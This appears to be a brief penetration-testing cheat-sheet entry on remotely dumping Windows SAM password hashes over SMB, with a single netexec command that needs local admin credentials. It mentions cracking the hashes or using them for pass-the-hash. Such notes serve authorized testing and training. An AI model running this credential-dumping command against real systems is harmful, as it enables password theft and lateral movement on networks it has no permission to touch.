Dump SAM Hashes via SMB
credentialswindowschecklist
Summary
Dumped SAM hashes can be cracked or used for pass-the-hash.
Walkthrough
Remotely dump the SAM database over SMB with local admin credentials.
Commands
Only works if the user is a local admin
bash
netexec smb <IP> -u <USER> -p '<PASS>' --sam